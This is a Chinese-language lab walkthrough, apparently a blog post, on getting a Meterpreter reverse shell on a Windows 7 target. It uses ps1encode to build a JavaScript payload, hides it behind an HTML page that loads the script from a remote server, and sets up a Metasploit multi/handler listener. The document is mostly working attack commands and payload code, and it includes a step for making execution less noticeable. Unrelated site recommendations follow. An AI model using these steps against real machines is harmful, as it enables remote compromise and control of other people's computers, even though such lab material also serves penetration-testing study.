1.环境

攻击机：Kali 192.168.42.138

靶机：Win7 192.168.42.139

2.安装工具ps1encode

下载地址：https://github.com/CroweCybersecurity/ps1encode

git clone https://github.com/CroweCybersecurity/ps1encode.git

3. 利用js文件反弹shell

先利用ps1encode生成js payload

./ps1encode.rb --LHOST 192.168.42.138 --LPORT 1919 --PAYLOAD windows/meterpreter/reverse_tcp --ENCODE cmd -t js

将payload复制到文件1.js中，直接执行js文件的话可能比较明显，所以写了一个1.html文件去远程调用js文件执行。

1.html文件内容如下：

<html>

<body>

<img src='http://192.168.42.1/1.jpg'>

<script src='http://192.168.42.1/1.js'></script>

</body>

</html>

PS：需要将1.js和1.jsp文件放在同一目录下，开启http服务

Kali开启监听（利用msf监听模块）：

msfconsole

msf6 > use /exploit/multi/handler

msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp

msf6 exploit(multi/handler) > set lhost 192.168.42.138

msf6 exploit(multi/handler) > set lport 1919

msf6 exploit(multi/handler) >run

PS:由于在生成js payload时使用了windows/meterpreter/reverse_tcp模块，因此在设置监听时也需要设置该模块。

将1.html文件复制到靶机，使用ie浏览器打开

选择允许阻止的内容->你想允许这种交互吗（是）

查看靶机，获取shell成功，权限为当前用户权限

 

 

 

 

# 安全
Logo
GitCode 开源社区

旨在为数千万中国开发者提供一个无缝且高效的云端环境，以支持学习、使用和贡献开源项目。

更多推荐

[转载]在Windows环境下安装GNU Radio

转自：在Windows环境下安装GNURadio_恐弱智_新浪博客GNU Radio是用Python开发的，大部分开源的工程能够在Linux环境下运行良好，而Windows下却运行的很勉强，而且安装配置都很复杂。GNU Radio算是个例外了，不光提供了Windows的二进制安装，还有比较详细的说明。我是Python小白，所以折腾了好久才弄好，特意记录下来，免得以后再装还折腾。GNU Radio的

avatar GitCode 开源社区

centOS 8 使用dnf安装Docker

DNF是什么？CentOS 8使用YUM软件包管理器版本v4.0.4。现在，该版本使用DNF(已删除YUM)。DNF是软件包管理器。它会在Linux发行版上安装，执行更新并删除软件包。使用DNF安装Docker跳过具有损坏依赖性的程序包一个有效的解决方案是使您的CentOS 8系统使用以下--nobest命令安装最符合条件的版本：sudo dnf install docker...

avatar GitCode 开源社区

定时同步数据库表(mysql+linux+crontab)

sync.sh里面的参数需要改变，ip/username/password/database/tablesync.sh#!/bin/sh# Please change the IP and password of the data source db.# Then change the table name.filename=/home/nington/db/$(date +%Y-%m

avatar GitCode 开源社区